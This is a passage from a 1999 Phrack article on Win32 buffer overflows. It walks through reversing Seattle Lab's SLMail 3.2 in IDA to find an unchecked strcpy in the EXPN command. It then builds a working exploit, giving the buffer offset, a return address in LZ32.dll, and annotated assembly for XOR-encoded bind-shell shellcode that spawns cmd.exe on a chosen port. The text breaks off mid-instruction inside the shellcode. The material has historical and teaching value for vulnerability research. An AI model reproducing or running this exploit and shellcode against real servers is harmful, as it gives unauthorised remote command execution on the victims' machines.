-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 15 of 19 ] -------------------------[ Win32 Buffer Overflows (Location, Exploitation and Prevention) --------[ dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org> ] ----[ Abstract "If you assume that there's no hope, you guarantee there will be no hope. If you assume that there is an instinct for freedom, there are opportunities to change things." -Noam Chomsky The Internet - the last great stronghold of freedom of thought, ideas and expression - and with each passing moment the bleak outcome of a corporate and government controlled entity increases in probability. The battle lines have been drawn, and for the moment, we have the upper hand, but only by a margin. Software companies with no alternative but to resort to the censorship of knowledge have made their presence felt, sites relating to the 'black art' of software reversing and the like are being removed on a continual basis. Hopefully, the few unrestrained who walk the back alleys will continue to publish information - and create avenues for others to expand, spread and develop - this is where the battle will be won. Assembly language is a weapon chosen only by few, but those who possess the skill to harness its power can and will defeat any of the newer tools of modern combat. I wish you the best of luck finding information, though. With power, comes a price - Assembler isn't the easiest language to learn, and as such you may have trouble finding documentation among the hordes of Visual this, Visual that, Visual Bloat for Dummies.. but continue your search, you'll be glad you did. When profit gain is the primary momentum, speed, control, size and performance of your software is sacrificed for ease of use and 'prompt development'. The need to know what goes on internally is a rare necessity and optimization is of little importance. Those that remain untainted by the prospect of monetary rewards, and first and foremost are driven by the sheer desire to better educate ones self, are those that will always be on the pinnacle - and are those that are feared most of all. With Windows NT now a major player, and the open source movement not looking to have any impact in the near future, the ability to 'look under the hood' is an incredibly valuable asset and will be the focus of the first section in this paper. It is of no great surprise that attempts to outlaw reverse engineering are currently in the works, but the effects of such a proposal would be disastrous. Despite the fact that it is an open invitation for vendors to use sub-standard coding practice, there are those in the security industry who rely on these techniques to find and document vulnerabilities. The online world would suffer as a result. Do not concede. Introduction. ~~~~~~~~~~~~~ This paper will be separated into 3 sections. The first will cover a standard reversing session, and we'll point out a common vulnerability. The second will demonstrate the process of exploiting the weakness - the problem with most win32 remote overflow exploits stems from the payload, the current trend is to have the shellcode download an external file and execute. Far too many problems result from this technique, depending on router/firewall configurations etc. The payload I present to you will directly spawn a full-blown shell on any port you specify, eliminating 90% of most reported problems. This is the first of its kind as far as I am aware. The last section will show how to add your own code to the executables of your target to prevent exploitation. The example I will be using for this document is the latest version of Seattle Labs mail server (3.2.3113). There are numerous buffer overflows riddled throughout this software, we'll be concentrating on a port opened by the POP service, which provides the Extended Turn functions. Seattle Labs were contacted about this in a previous version but did not bother to remedy the situation, instead they just changed the default port from 27 to 8376. Bad move. The vulnerabilities were made public by the way, so please, Russ, don't send me nasty emails. Before we begin I will assume you have a general knowledge of Assembler, Windows programming, a basic understanding of the Portable Executable structure and you know the fundamentals of buffer overflows - I won't be re-hashing the basics in this paper. Tools Required: Interactive Disassembler from http://www.datarescue.com - hands down the BEST disassembler for the PC. A decent debugger, e.g.: SoftIce. PE Dump from Matt Peitrek, or dumpbin will suffice. A hex editor, any will do.. PS Edit does nicely. A Win32 API reference. If you want to assemble the tools/exploits that accompany this paper then you'll also need TASM 5.0. The binaries will be available at http://www.beavuh.org as well as the latest goodies that we feel the need to release. Section 1: Under the Hood. ~~~~~~~~~~~~~~~~~~~~~~~~~~ Interactive Disassembler Pro is without a doubt, THE tool for reversing code. Disassembly begins from the entry point of the program, and follows all routes of execution, then continues to locate functions outside of the main flow of the program. You have full control over what is marked as data or code. IDA recognizes a huge amount of library functions, which provides a much better understanding of the target. It will disassemble an unbelievable amount of file formats, from a wide range of processors. You're given the ability to have repeatable comments, labels, modify any piece of code, function, "interactively". IDA also includes it's own macro language, to automate your chores. If I were to cover everything this tool can do I would be here all day, and I'd still be missing something. With the combined effort of IDA and Soft Ice, there are no barriers. This section will be rather short, the only reason being that IDA cuts through SLMail's code like a machete. Load up slmail.exe into IDA and we'll get underway... First we need to think about our target for a minute, we're going to try and exploit one of the SMTP commands so it is almost certain they will be accessed and compared from a table.. Let's do a search: Hit <alt+b> "search for text in core" and enter "EXPN", we'll land smack in the middle of these ASCII strings. 004439C0 aSize db 'SIZE',0 004439C5 align 4 004439C8 aXtrn db 'XTRN',0 004439CD align 4 004439D0 aEtrn db 'ETRN',0 004439D5 align 4 004439D8 aQuit db 'QUIT',0 ; DATA XREF: sub_403970+280.o 004439D8 ; .data:00448A60.o 004439DD align 4 004439E0 aHelp_0 db 'HELP',0 004439E5 align 4 004439E8 aTurn db 'TURN',0 ; DATA XREF: sub_403970+F0.o 004439ED align 4 004439F0 aExpn db 'EXPN',0 ...<snip> Now we need to find the table that references the commands, so we'll do another search.. this time entering the dword offset to the left of EXPN (004439f0). And we land in the middle of this mess: 004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24.r 004436F8 ; sub_404390+34.o 004436FC db 3 ; 004436FD db 0 ; 004436FE db 0 ; 004436FF db 0 ; 00443700 db 94h ; " 00443701 db 3Ah ; : 00443702 db 44h ; D 00443703 db 0 ; 00443704 db 0Ah ; 00443705 db 0 ; 00443706 db 0 ; 00443707 db 0 ; 00443708 db 90h ; 00443709 db 3Ah ; : 0044370A db 44h ; D 0044370B db 0 ; 0044370C db 1 ; 0044370D db 0 ; 0044370E db 0 ; 0044370F db 0 ; ...<snip> 004437E8 db 0F0h ; 004437E9 db 39h ; 9 004437EA db 44h ; D 004437EB db 0 ; 004437EC db 19h ; 004437ED db 0 ; 004437EE db 0 ; 004437EF db 0 ; There's no point showing the complete table here, now.. take a look at its structure. <pointer to string> <dword> <pointer to string> <dword> etc My best guess here is that the dword value following each pointer will be the value assigned after a successful comparison. Let's check our theory. Also we should note down our value after the pointer to "EXPN" : 004439f0h, 00000019h. 0x19, we'll keep that in mind. Scroll up and at the top of the table you see: 004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24.r 004436F8 ; sub_404390+34.o You can see to the right where the table is referenced, so click on the subroutine and we'll land straight into the call. 004043B4 loc_4043B4: ; CODE XREF: sub_404390+11.j 004043B4 mov ecx, dword_4436F8 004043BA test ecx, ecx 004043BC jz short loc_4043F3 004043BE mov ebp, ds:lstrlenA 004043C4 mov esi, offset dword_4436F8 Our table loaded at esi, ebp contains the address of lstrlenA. 004043C9 004043C9 loc_4043C9: ; CODE XREF: sub_404390+61.j 004043C9 test eax, eax 004043CB jnz short loc_4043F3 004043CD mov eax, [esi] 004043CF push eax 004043D0 call ebp Here we go, the string first moved to eax and then a string length function called. 004043D2 mov ecx, [esi] 004043D4 push eax 004043D5 push ecx 004043D6 push ebx 004043D7 call j_lstrncmpi 004043DC neg eax 004043DE sbb eax, eax 004043E0 inc eax 004043E1 jz short loc_4043E9 Now we know that the parameters for lstrncmpi are as follows: strncmpi(first_string, second_string, number_of_chars); The first parameter pushed on the stack is the return from the string length function, ecx is then pushed which points to the string, and finally ebx. So we can determine from this that ebx contains the input from the user. I can see that some of you may be a little puzzled here, yes - parameters are pushed on to the stack in reverse order. 004043E3 xor edi, edi 004043E5 mov di, [esi+4] Ah, just as we suspected.. if there is a successful comparison then di is loaded with the value that followed our pointer. 004043E9 004043E9 loc_4043E9: ; CODE XREF: sub_404390+51.j 004043E9 mov ecx, [esi+8] 004043EC add esi, 8 004043EF test ecx, ecx 004043F1 jnz short loc_4043C9 loop :) 004043F3 004043F3 loc_4043F3: ; CODE XREF: sub_404390+18.j 004043F3 ; sub_404390+2C.j ... 004043F3 mov eax, edi 004043F5 pop edi 004043F6 pop esi 004043F7 pop ebp 004043F8 pop ebx 004043F9 retn 004043F9 sub_404390 endp ; sp = -10h 004043F9 And finally eax holds our value, and we return from the call. Let's continue. 00405EC7 mov edx, [esp+2Ch+arg_8] 00405ECB mov ebx, eax 00405ECD mov eax, [esp+2Ch+arg_4] 00405ED1 push edx 00405ED2 push eax 00405ED3 push esi 00405ED4 lea ecx, [esp+3Ch] 00405ED8 push edi 00405ED9 push ecx 00405EDA push ebx 00405EDB call sub_404850 Now, the important things to take note of here is edx gets our inputted string, and ebx is given our value from the table (0x19). Remember the order in which our registers were pushed, so we will be able to tell what is being referenced from the stack - and in the next call we will rename the stack variables to make it easier on ourselves. Note: I'm not taking advantage of some of the GREAT features IDA possesses - repeatable comments, labels and much more. A necessity while on a real reversing journey. 00404850 sub_404850 proc near ; CODE XREF: sub_405330+73.p 00404850 ; sub_405560+73.p ... 00404850 00404850 var_270 = byte ptr -270h 00404850 var_26C = dword ptr -26Ch 00404850 var_268 = byte ptr -268h 00404850 var_264 = byte ptr -264h 00404850 var_23C = byte ptr -23Ch 00404850 var_230 = byte ptr -230h 00404850 var_168 = byte ptr -168h 00404850 var_110 = byte ptr -110h 00404850 var_105 = byte ptr -105h 00404850 var_104 = byte ptr -104h 00404850 var_10 = dword ptr -10h 00404850 var_4 = dword ptr -4 00404850 our_val = dword ptr 4 00404850 arg_4 = dword ptr 8 00404850 arg_8 = dword ptr 0Ch 00404850 arg_C = dword ptr 10h 00404850 arg_10 = dword ptr 14h 00404850 our_input = dword ptr 18h 00404850 00404850 mov ecx, [esp+our_val] 00404854 sub esp, 26Ch 0040485A xor eax, eax 0040485C cmp ecx, 8 0040485F push ebx 00404860 push ebp 00404861 push esi 00404862 push edi 00404863 jnz loc_4048E9 We rename the useful stack arguments to something easier to remember, arg_0 = our_val, and arg_14 = our_input - if you're lost go back and take another look at the order the registers were pushed. ecx is loaded with our 0x19 value. It is then compared to 8, which is not us, so we'll follow the jump. 004048E9 004048E9 loc_4048E9: ; CODE XREF: sub_404850+13.j 004048E9 cmp ecx, 17h 004048EC jnz short loc_40495A 004048EE mov ecx, [esp+27Ch+arg_10] 004048F5 mov esi, [esp+27Ch+arg_C] 004048FC mov eax, [ecx] 004048FE cmp eax, 8 00404901 jnz short loc_404914 00404903 mov ecx, [esi+100h] 00404909 test ecx, ecx 0040490B jz short loc_404914 0040490D mov ebx, 1 00404912 jmp short loc_404916 A comparison to 17h, again.. not us, so we continue to follow the jumps until we reach... 00404B7F loc_404B7F: ; CODE XREF: sub_404850+1C0.j 00404B7F cmp ecx, 19h 00404B82 jnz loc_404D7F 00404B88 mov eax, dword_457354 00404B8D test eax, eax 00404B8F jz loc_404D4F 00404B95 mov eax, dword_457384 00404B9A mov edi, [esp+27Ch+our_input] 00404BA1 push 0 00404BA3 push eax 00404BA4 push edi 00404BA5 call sub_4365A0 And here's our boy, note how our variables we renamed follow all through the call, IDA rocks doesn't it? :) So edi gets our string input, and we follow yet another call - again we'll rename the useful stack variable upon entering the next call. i.e.: edi = arg_0 = our_input 004365A0 sub_4365A0 proc near ; CODE XREF: sub_4029D0+92.p 004365A0 ; sub_4029D0+107.p ... 004365A0 004365A0 var_12C = byte ptr -12Ch 004365A0 var_12B = byte ptr -12Bh 004365A0 our_input = dword ptr 4 004365A0 arg_4 = dword ptr 8 004365A0 arg_8 = dword ptr 0Ch 004365A0 004365A0 mov eax, [esp+arg_8] 004365A4 mov ecx, [esp+arg_4] 004365A8 sub esp, 12Ch 004365AE lea edx, [esp+12Ch+var_12C] 004365B2 push 0 004365B4 push eax 004365B5 mov eax, [esp+134h+our_input] 004365BC push ecx 004365BD push 12Ch 004365C2 push edx 004365C3 push eax 004365C4 call sub_4364A0 And yet another call, again take notice of the order in which the registers were pushed, eax=arg_0=our_input. I have a feeling we are getting closer to the goods. Ok, I admit it. I peeked. 004364A0 sub_4364A0 proc near ; CODE XREF: sub_436470+1B.p 004364A0 ; sub_4365A0+24.p ... 004364A0 004364A0 var_98 = byte ptr -98h 004364A0 var_8C = byte ptr -8Ch 004364A0 var_78 = byte ptr -78h 004364A0 var_6C = byte ptr -6Ch 004364A0 var_35 = byte ptr -35h 004364A0 var_15 = byte ptr -15h 004364A0 var_8 = dword ptr -8 004364A0 var_4 = dword ptr -4 004364A0 our_input = dword ptr 4 004364A0 arg_4 = dword ptr 8 004364A0 004364A0 mov eax, [esp+our_input] 004364A4 sub esp, 64h 004364A7 push ebx 004364A8 push ebp 004364A9 push esi 004364AA mov esi, [esp+70h+arg_4] 004364AE push edi 004364AF push eax 004364B0 push esi 004364B1 call ds:lstrcpyA 004364B7 push 40h 004364B9 push esi 004364BA call j_lstrchr 004364BF test eax, eax 004364C1 jz short loc_4364C6 004364C3 mov byte ptr [eax], 0 And here we have it, the classic screw-up. esi points to the buffer, eax has our string - *bang* strcpy. Did anyone out there notice any form of bounds checking up to this point? I sure didn't. Please guys, do not try to hide from us - we CAN see what you do. Now we know EXPN is our sure-fire victim. Feel free to follow some of the other commands, you will run into similar coding practice, Seattle Labs have a lot to clean up. From a relatively quick reversing session, we find a common mistake - yet a mistake that compromises the entire server. Now, obviously, a lot of sessions won't be as straight forward - wait for a rainy day, have an extra packet of cigarettes on hand, a bottle of vodka, crank some 30footFALL and get hacking - patience is a virtue, take your time and navigate the code, you'll be amazed at what you find. And hey, even if you come up empty, by the time you've downed that bottle you won't care anyway. With enough patience and determination, you will find a barrage of different holes and vulnerabilities through disassembly techniques. It is an asset worth having. Section 2: The Exploit. ~~~~~~~~~~~~~~~~~~~~~~~ Although this section will cover some tricks, techniques and the process of exploiting overflows in Windows, the main purpose of this section is to document what I consider the most ideal shellcode available for Win32 exploits at this time. The last thing I want to do is go over already covered ground - none the less, I will document the route I took personally before creating the payload. To those of you who have done this sort of thing before, feel free to skip straight to the shellcode. Before we begin, I just have something to say quickly regarding some members of the security community. When I released the IIS exploit (the definition of proof of concept :)), some of the mail was rather unsettling. Mail from employees of large corporations and yes, government agencies, bearing titles such as 'Head of Network Security' and similar who were using the exploit to determine the risk to their servers. If the exploit failed, some were prepared to class the risk as minimal. Do not determine the threat to your servers solely on the results of one public exploit - the vulnerability exists, fix it. If you think that was the only demonstration code floating around you need your head examined. Hopefully now, you may change your attitude. The masses now have full control, without fail. Here we go. My experience with NT is rather limited, in fact, I've only recently made the move from spelunking Windows 9x. Unfortunately what I've noticed under NT is SoftIce has a bit of trouble trapping faults, and other debuggers tend to break in after the exception handling has kicked in. This sucks for a couple of reasons. If an exception is raised after a string length routine tries to read from invalid memory for example, under NT its quite likely that it'll be the exception handler itself that overwrites eip with your data (IIS comes to mind again). We can route our eip to an offset at that point if we wish, but it isn't particularly delicate, we'd be much better off to try and throw in some valid addresses and let the code ret to an eip with our data. What I suggest is setting a breakpoint on the exception dispatcher and dumping the eip it was called from.. e.g.: bpx KiUserExceptionDispatcher DO "dd *esp+0c" Now if eip hasn't been overwritten you can break at that offset and see what you have to play with, if eip has been taken then the offset at that location should be your bytes. In that case you can either try and trace back into the blown stack and find a location to break on relatively close to where we ret to our eip, or just take an educated guess. The latter is the path we'll take. Let's break this thing. attica:~> telnet 192.168.10.3 8376 Trying 192.168.10.3... Connected to 192.168.10.3. Escape character is '^]'. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Our debugger breaks in, obviously in this case eip has been totally taken, look at where the handler was called - 0x78787878, i.e.: xxxx. Ok, now we want to find the exact point in the code where we return to our address - let's take a look at the disassembly. 004364AF push eax 004364B0 push esi 004364B1 call ds:lstrcpyA Let's set a breakpoint just above the call to lstrcpy, that way we can also have a closer look at the buffer manipulation and we should be mere footsteps away from total system control. Ok, send the data and let your debugger kick in, ret out of the call and you'll quickly reach.. or eax, -01 add esp, 0000012c ret That's where we wanna be, that ret will drop us to our eip. We have control. Now, to go somewhere useful. Let's examine the registers and see what we have to play with, esp is totaled and points somewhere around the middle of our buffer. So we could jump the stack, but why bother? Take a look at some of those other registers - edi has our buffer directly after the "expn". We couldn't have asked for anything better. Although there are a fair few different ways to jump the stack, we'll almost always find a "call edi" or similar. Let's think about this for a moment, in a perfect world we'd just reference an offset in slmail.exe - but this is the world of Windows. We have to avoid null bytes so unfortunately we can't use the exe itself, as it is loaded at the default base address of 0x00400000. We could use a location in the executable if we were to place our offset at the end of our data, as we'd have the null at the end of the string, but that doesn't leave us with enough space for a decent payload. Remember we don't want this to be dependent on the version of NT at all, so we either need to use a DLL included with SLMail or an external DLL that is static on all service packs. So let's take a look at what else has been loaded from that process. SysInternals (http://www.sysinternals.com) have a handy little util called listdlls which will show you just that. C:\tools>listdlls slmail.exe ListDLLs V2.1 Copyright (C) 1997-1999 Mark Russinovich http://www.sysinternals.com ------------------------------------------------------------------------------ slmail.exe pid: 159 Base Size Version Path 0x00400000 0x62000 3.02.0001.1204 E:\PROGRA~1\SLmail\slmail.exe 0x77f60000 0x5c000 4.00.1381.0130 E:\WINNT\System32\ntdll.dll 0x10000000 0xc000 2.03.0000.0000 E:\WINNT\system32\OpenC32.dll 0x77f00000 0x5e000 4.00.1381.0133 E:\WINNT\system32\KERNEL32.dll 0x77ed0000 0x2c000 4.00.1381.0115 E:\WINNT\system32\GDI32.dll 0x77e70000 0x54000 4.00.1381.0133 E:\WINNT\system32\USER32.dll 0x77dc0000 0x3f000 4.00.1381.0121 E:\WINNT\system32\ADVAPI32.dll 0x77e10000 0x57000 4.00.1381.0131 E:\WINNT\system32\RPCRT4.dll 0x77d80000 0x32000 4.00.1381.0027 E:\WINNT\system32\comdlg32.dll 0x77c40000 0x13c000 4.00.1381.0114 E:\WINNT\system32\SHELL32.dll 0x77aa0000 0x74000 4.72.3609.2200 E:\WINNT\system32\COMCTL32.dll 0x776d0000 0x8000 4.00.1381.0131 E:\WINNT\system32\WSOCK32.dll 0x776b0000 0x14000 4.00.1381.0133 E:\WINNT\system32\WS2_32.dll 0x78000000 0x40000 6.00.8337.0000 E:\WINNT\system32\MSVCRT.dll 0x776a0000 0x7000 4.00.1381.0031 E:\WINNT\system32\WS2HELP.dll 0x77a90000 0xb000 4.00.1371.0001 E:\WINNT\system32\VERSION.dll 0x779c0000 0x8000 4.00.1371.0001 E:\WINNT\system32\LZ32.dll 0x77bf0000 0x7000 4.00.1381.0072 E:\WINNT\system32\rpcltc1.dll 0x77660000 0xf000 4.00.1381.0037 E:\WINNT\system32\msafd.dll 0x77690000 0x9000 4.00.1381.0037 E:\WINNT\System32\wshtcpip.dll 0x74ff0000 0xd000 4.00.1381.0131 E:\WINNT\System32\rnr20.dll There's not much loaded there in the way of its own DLL's, so we'll have to pick something external. LZ32.DLL will do, static on all service packs, has the code we need and the offset has no null bytes. We find at location 0x779C1CAA we have a "call edi", that'll do nicely. The next problem - we need to know where in our buffer to stuff our offset. A quick and easy way to find this out is to fill your buffer with a heap of independent bytes, 1A, 2A, 3A, 4A....A1, A2 and so on, and you'll be able to pinpoint the location when eip is overwritten. Quickly we notice that the location we need is about 300 bytes into our buffer, so we have: expn <299 nops> 0x779c1caa So in its current form, if we were to send that data, eip would return to the offset 0x779c1caa which would call edi and execute our nops - before the offset we will also add in a short jump to bypass the garbage instructions that our offset was translated to. Now all that remains is to tack our payload on to the end. It's time. The Payload. ~~~~~~~~~~~~ Note: the ideas for the string table/jump table came from DilDog, very cool. Amazing work you do. The goal: An exploit that spawns a command prompt directly on a specified port, and will execute successfully on all NT versions. Considerations: - We are unsure of the exact OS version. - Function locations will differ depending on versions/service packs/upgrades. - The import table for SLMail does not have all needed functions. - We must avoid null bytes, carriage returns etc. We can take care of the first three problems by linking to the IAT of slmail, and using those procedures to load external functions. As for the fourth? We'll just have to be clever. In order for me to keep the shellcode as generic as possible, we will create a jump table of all external functions we will be using, without relying on SLMails imports - with two exceptions. For us to be able to load DLL's and retrieve the addresses for needed procedures we will need to reference two functions from the import table of slmail.exe: GetProcAddress and LoadLibraryA. Before I show the table we create, I want to give a brief rundown on what's involved when spawning a remote shell under Windows NT. Unfortunately it is not anywhere near as straight forward as when you're working with *nix, but, of course, it's do-able. To be able to spawn a full-blown remote shell, we need to be able to redirect standard output and standard error to the connected user, and the connected user must have control over standard input. The answer? Anonymous Pipes. The primary use for anonymous pipes is to exchange data between parent/child processes, or just between child processes. The anonymous pipe is a one-way pipe - the data will flow in one direction - from one end, to the other. The usefulness is apparent when we are working with the console, as we can replace the handles of stdin/stdout/stderr with handles to the ends of the created pipes. We can then read and write to the pipes with the Read and Writefile API's. From the read end of the stdout pipe, we send the buffer to the connected socket and subsequently what we receive from the connected socket we fire off to the write end of the stdin pipe. To keep it generic our string table is unfortunately going to have to include a fair few functions, all taking up precious bytes. When you are strapped for stack space you'll want to make use of more functions from your targets IAT. The table: db "KERNEL32",0 ;string to push for LoadLibrary. db "CreatePipe",0 db "GetStartupInfoA",0 ;we will modify the start-up structure at runtime as the structure is far ;too large to include in the shellcode. db "CreateProcessA",0 db "PeekNamedPipe",0 db "GlobalAlloc",0 db "WriteFile",0 db "ReadFile",0 db "Sleep",0 db "ExitProcess",0 db "WSOCK32",0 db "socket",0 db "bind",0 db "listen",0 db "accept",0 db "send",0 db "recv",0 sockstruc STRUCT sin_family dw 0002h sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockstruc ENDS ;the sin_port word value will be filled by the exploit client before the ;shellcode is sent. db "cmd.exe",0 dd 0ffffffffh db 00dh, 00ah ;the string to push to invoke the command prompt. ;the dword at the end will be used to reference the end of the string table ;at runtime. Now, I know what you're thinking - all those strings are null-terminated, and the structures contain null bytes. To get around this, we will XOR the string table with 0x99, except for the carriage, linefeed, and the 0xFFFFFFFF dword. If all went to plan, your encrypted table should look a little something like this: 00000280 .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC ..... 00000290 D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE ................ 000002A0 FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA ................ 000002B0 EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5 ................ 000002C0 F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8 ................ 000002D0 F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5 ................ 000002E0 F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC ................ 000002F0 F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0 ................ 00000300 ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB ................ 00000310 99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA ................ 00000320 ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99 ................ 00000330 EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99 ................ 00000340 99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF ................ 00000350 FF 0D 0A ... This will be tacked on to the very end of our shellcode. Now it is time to get to the good stuff. Note: this exploit assumes a base address of 0x00400000 The recommended way to follow this is to step over the code in your debugger while reading the explanations. :00000138 33C0 xor eax, eax :0000013A 50 push eax :0000013B F7D0 not eax :0000013D 50 push eax :0000013E 59 pop ecx :0000013F F2 repnz :00000140 AF scasd :00000141 59 pop ecx :00000142 B1C6 mov cl, C6 :00000144 8BC7 mov eax, edi :00000146 48 dec eax :00000147 803099 xor byte ptr [eax], 99 :0000014A E2FA loop 00000146 This sets edi to the end of our encrypted string table by scanning the buffer for our dword (0xFFFFFFFF), ecx holds the amount of characters to decrypt. edi is then moved to eax, and each byte is decrypted (XORed with 0x99). eax now points to the beginning of the string table. :0000014C 33F6 xor esi, esi :0000014E 96 xchg eax,esi :0000014F BB99101144 mov ebx, 44111099 :00000154 C1EB08 shr ebx, 08 :00000157 56 push esi :00000158 FF13 call dword ptr [ebx] Here we make a call to LoadLibraryA, pushing esi as the parameter - which points to "KERNEL32", the first string of the table. The call is made by giving ebx the location of LoadLibrary from SLMails import table, and we tack on an extra byte to avoid the use of a null character. We then kill it by shifting the value right one byte. LoadLibraryA = 00441110h :0000015A 8BD0 mov edx, eax :0000015C FC cld :0000015D 33C9 xor ecx, ecx :0000015F B10B mov cl, 0B :00000161 49 dec ecx :00000162 32C0 xor al, al :00000164 AC lodsb :00000165 84C0 test al, al :00000167 75F9 jne 00000162 We give ecx the amount of procedures we have specified from the kernel, as we will be creating a jump table for our functions. Then we just increment esi until we reach a null byte - moving to the next string name. :00000169 52 push edx :0000016A 51 push ecx :0000016B 56 push esi :0000016C 52 push edx :0000016D B30C mov bl, 0C :0000016F FF13 call dword ptr [ebx] :00000171 AB stosd :00000172 59 pop ecx :00000173 5A pop edx :00000174 E2EC loop 00000162 Here we call GetProcAddress, ebx already had the value from LoadLibrary, so we only need to modify the low byte. We then store the address at edi, and loop for the rest of the functions. We now have a jump table at edi - we can now call each function indirectly from edi. e.g.: call dword ptr [edi-0c]. :00000176 32C0 xor al, al :00000178 AC lodsb :00000179 84C0 test al, al :0000017B 75F9 jne 00000176 :0000017D B310 mov bl, 10 :0000017F 56 push esi :00000180 FF13 call dword ptr [ebx] :00000182 8BD0 mov edx, eax :00000184 FC cld :00000185 33C9 xor ecx, ecx :00000187 B106 mov cl, 06 :00000189 32C0 xor al, al :0000018B AC lodsb :0000018C 84C0 test al, al :0000018E 75F9 jne 00000189 :00000190 52 push edx :00000191 51 push ecx :00000192 56 push esi :00000193 52 push edx :00000194 B30C mov bl, 0C :00000196 FF13 call dword ptr [ebx] :00000198 AB stosd :00000199 59 pop ecx :0000019A 5A pop edx :0000019B E2EC loop 00000189 This is just a repeat of the earlier code, except now we are extending our jump table to include the socket functions. :0000019D 83C605 add esi, 00000005 :000001A0 33C0 xor eax, eax :000001A2 50 push eax :000001A3 40 inc eax :000001A4 50 push eax :000001A5 40 inc eax :000001A6 50 push eax :000001A7 FF57E8 call [edi-18] :000001AA 93 xchg eax,ebx Here we push the values SOCK_STREAM, AF_INET, and null for the protocol. We then call the 'socket' function. Note: We don't need to call WSAStartup as the target process has taken care of that for us We also set esi to point to the socket structure, and we store the return value from the socket procedure in ebx so it won't be destroyed by following functions. :000001AB 6A10 push 00000010 :000001AD 56 push esi :000001AE 53 push ebx :000001AF FF57EC call [edi-14] This just makes a call to bind, pushing our socket handle and the socket structure as parameters. :000001B2 6A02 push 00000002 :000001B4 53 push ebx :000001B5 FF57F0 call [edi-10] Now we call listen, socket handle as the parameter. :000001B8 33C0 xor eax, eax :000001BA 57 push edi :000001BB 50 push eax :000001BC B00C mov al, 0C :000001BE AB stosd :000001BF 58 pop eax :000001C0 AB stosd :000001C1 40 inc eax :000001C2 AB stosd :000001C3 5F pop edi :000001C4 48 dec eax :000001C5 50 push eax :000001C6 57 push edi :000001C7 56 push esi :000001C8 AD lodsd :000001C9 56 push esi :000001CA FF57C0 call [edi-40] Now we make our first call to CreatePipe, we create our SECURITY_ATTRIBUTES structure at edi, and specify that the returned handles are inheritable. esi receives our read and write handles returned from the call. :000001CD 48 dec eax :000001CE 50 push eax :000001CF 57 push edi :000001D0 AD lodsd :000001D1 56 push esi :000001D2 AD lodsd :000001D3 56 push esi :000001D4 FF57C0 call [edi-40] Our second call to CreatePipe, again our read and write handles are stored at esi. :000001D7 48 dec eax :000001D8 B044 mov al, 44 :000001DA 8907 mov dword ptr [edi], eax :000001DC 57 push edi :000001DD FF57C4 call [edi-3C] We make a call to GetStartupInfo, the structure will be stored at edi which we give the size value. The structure will need to be modified. :000001E0 33C0 xor eax, eax :000001E2 8B46F4 mov eax, dword ptr [esi-0C] :000001E5 89473C mov dword ptr [edi+3C], eax :000001E8 894740 mov dword ptr [edi+40], eax :000001EB 8B06 mov eax, dword ptr [esi] :000001ED 894738 mov dword ptr [edi+38], eax :000001F0 33C0 xor eax, eax :000001F2 66B80101 mov ax, 0101 :000001F6 89472C mov dword ptr [edi+2C], eax :000001F9 57 push edi :000001FA 57 push edi :000001FB 33C0 xor eax, eax :000001FD 50 push eax :000001FE 50 push eax :000001FF 50 push eax :00000200 40 inc eax :00000201 50 push eax :00000202 48 dec eax :00000203 50 push eax :00000204 50 push eax :00000205 AD lodsd :00000206 56 push esi :00000207 33C0 xor eax, eax :00000209 50 push eax :0000020A FF57C8 call [edi-38] By all means feel free to improve this code to drop some bytes, for example, using stosd to modify edi. At the time I was just trying to make it _work_, and wasn't particularly worried about the size. What the hell is going on here anyway? We are modifying the startupinfo structure before our call to CreateProcess. We replace StdOutput and StdError with the handle of the write end of our first created pipe. We then replace StdInput with the read handle of our second created pipe. The flags value we set to STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, and we set the ShowWindow value to SW_HIDE. esi points to "cmd.exe" and we make the call to CreateProcess. :0000020D FF76F0 push [esi-10] :00000210 FF57CC call [edi-34] :00000213 FF76FC push [esi-04] :00000216 FF57CC call [edi-34] CloseHandle is called to close the first read and the second write handles we used for our StdHandles. :00000219 48 dec eax :0000021A 50 push eax :0000021B 50 push eax :0000021C 53 push ebx :0000021D FF57F4 call [edi-0C] :00000220 8BD8 mov ebx, eax Now we call accept and wait for a connection. We store the returned handle in ebx. :00000222 33C0 xor eax, eax :00000224 B404 mov ah, 